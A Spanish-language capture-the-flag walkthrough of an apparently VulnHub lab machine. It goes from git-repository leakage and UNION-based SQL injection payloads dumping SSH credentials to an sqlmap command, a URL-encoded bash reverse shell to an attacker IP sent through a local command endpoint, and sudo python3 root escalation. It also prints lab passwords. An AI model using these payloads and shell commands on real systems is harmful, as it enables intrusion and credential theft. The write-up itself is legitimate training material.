Table of contents
Reconocimiento
Debido a que esta máquina la debemos levantar en nuestro equipo primero debemos descargarla y levantarla, luego de ello realizar un escaneo en nuestra red para poder identificar la dirección IP que se le asignó haciendo uso de arp-scan
.
El ejecutar podemos ver varias direcciones IP, la que nos importa es la que indica VMware, ya que es la dirección asignada a nuestra máquina víctima.
Como ya tenemos la dirección IP, ahora revisamos si tenemos conexión desde nuestra máquina atacante con la víctima.
Al realizar el ping a dicha dirección IP podemos comprobar que si tenemos conexión y que se trata de una máquina linux.
Enumeración
Haciendo uso de Nmap podemos observar que tenemos los siguientes puertos abiertos.
Como no tenemos mucha información nos dirigimos a la dirección IP y podemos ver que es una página de cierta manera sencilla con un login que redirecciona, pero este login no permite crear una cuenta. Pero en el código podemos observar que hace referencias un proyecto en una carpeta.
Como no pudimos conseguir mayor información dentro de la página procedemos a buscar las formas de poder vulnerar el sistema, al realizar una búsqueda con GOBUSTER podemos observar varias carpetas por las cuales probar e investigar
Podemos observar un .git
esto nos puede ser útil, ya que si lo descargamos podemos encontrar alguna información o servicio que estaba en prueba, así como alguna credencial que obviaron. Al ser un proyecto /.git
podemos copiar para poder tener mayor conocimiento de ello usando:
wget -r http://192.168.231.129/.git/
Una vez termine de copiar todos los archivos entramos en la carpeta y hacemos un tree
para ver en más detalle.
Con un ls -la
podemos observar en más detalle .git
que indica el proyecto en git y era la carpeta que llamo nuestra atención anteriormente
si vamos esa dirección y procedemos a realizar un git log para ver los commits
para mayor claridad hacemos uso de
git log --oneline
Procedemos a realizar un git show para poder observar los cambios en el commit y encontramos algo bastante interesante como es lo siguiente.
Podemos observar dos cosas interesantes y que nos pueden ser útiles: email:
lush@admin.com
password: 321
Usamos esas credenciales y efectivamente si podemos loguearnos en la página.
Explotación 1
como podemos observar tenemos un ID que indica el número 1, pero cuando lo cambiamos no recibimos ningún error o algún otro usuario, lo que podemos hacer es probar algunas inyecciones SQL, probamos haciendo Union Injection
para determinar el número de columnas que tiene y podemos observar que presenta 6.
También podemos ver la versión
Pero lo que nos importa es obtener algunos datos más importantes, por ello buscaremos que bases de datos existen y luego con ello ver que más podemos obtener, si usamos database()
podemos observar la base de datos donde nos encontramos.
' UNION select 1,schema_name,3,4,5,6 from information_schema.schemata-- -
Si queremos ver si existen más bases de datos, usaremos burp suite para tener mayor amplitud de las respuestas.
Realizando la misma petición por burp suite, pero tampoco podemos observar mayor información
Para poder obtener más detalles de las consultas haremos un group concat
para que de esta manera ya podemos ver todas las bases de datos.
' UNION select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata-- -
De todas las respuestas, la base de datos la que nos llama la atención es la de DARKHOLE_2
la cual procederemos a investigar y ver que podemos obtener de las tablas que posee
como podemos ver tiene las tablas ssh y users
'+UNION+select+1,group_concat(column_name),3,4,5,6+from+INFORMATION_SCHEMA.columns+where+table_schema%3d'darkhole_2'+and+table_name%3d'ssh'
listamos la tabla ssh podemos observar que tenemos id,pass y user
para listar solo usamos
'+UNION+select+1,group_concat(user,':',pass),3,4,5,6+from+ssh--+-
colocamos from ssh
debido a que ya nos encontramos en la base de datos darkhole_2
, lo cual pudimos ver al comienzo. Como se puede ver ya tenemos los resultados el cual nos da el user y el pass
user: jehad - password: fool
Explotación 2
Otra manera de poder explotar esta sección es mediante el uso de una herramienta la cual sería sqlmap y sería más rápida, para ello primero obtenemos nuestra cookie de sesión.
Luego ingresamos el comando
sqlmap -u "http://192.168.0.19/dashboard.php?id=1" --cookie "PHPSESSID=gjcuepfi9a6bt9n6netvcbt3r9" --dump
Luego de unos segundos obtenemos la siguiente información con los resultados que obtuvimos con el primer método.
Continuando con la explotación tanto de manera 1 o 2 procedemos a ingresar las credenciales conectándonos por ssh y podemos ver que son aceptadas.
Revisamos, pero este usuario no cuenta con el flag
buscando podemos ver que hay otros dos más y en losy
se encuentra el flag que demuestra nuestro acceso como usuarios.
Lo que debemos hacer ahora es elevar privilegios, realizamos un sudo -l
, pero no podemos realizar nada.
Buscando en la carpeta del usuario jehad
podemos observar el bash_history
y notamos que se realizan actividades interesantes.
Leemos el archivo y podemos encontrar algo que nos da más información, donde podemos observar que se hace una petición al puerto 9999 y se le pasa por get
a cmd
.
Al repetir la petición podemos observar que nos devuelve la petición, pero nos indica que el usuario losy
es quien lo ejecuta.
Esto nos sirve para poder escalar privilegios, para ello en nuestra máquina levantaremos nc en escucha y en la máquina víctima enviaremos la petición encondeada de la siguiente manera el texto de la shell sin encodear sería:
bash -c "bash -i >& /dev/tcp/192.168.0.11/1234 0>&1"
curl "http://127.0.0.1:9999/?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.11%2F1234%200%3E%261%22"
una vez enviado podemos ver que tuvimos respuesta y ya estamos como losy
si vamos a su carpeta de usuario y en caso de que con el otro usuario no se hubiera podido leer ahora podemos leerlo
volvemos a repetir la lectura del bash_history
podemos observar que el password es gang
.
Si ejecutamos sudo -l
podemos observar que podemos ejecutar python3
como root.
Al ir a la página de gtfobins, buscamos por Python, podemos observar que nos indica como se puede usos permisos para acceder como root.
Como ya tenemos la manera de escalar usando ese error cambiamos una sección del comando que nos dan y colocamos python3 de esta manera podemos usarlo para escalar privilegios y como se puede observar ya tenemos accesos root y también podemos acceder al flag.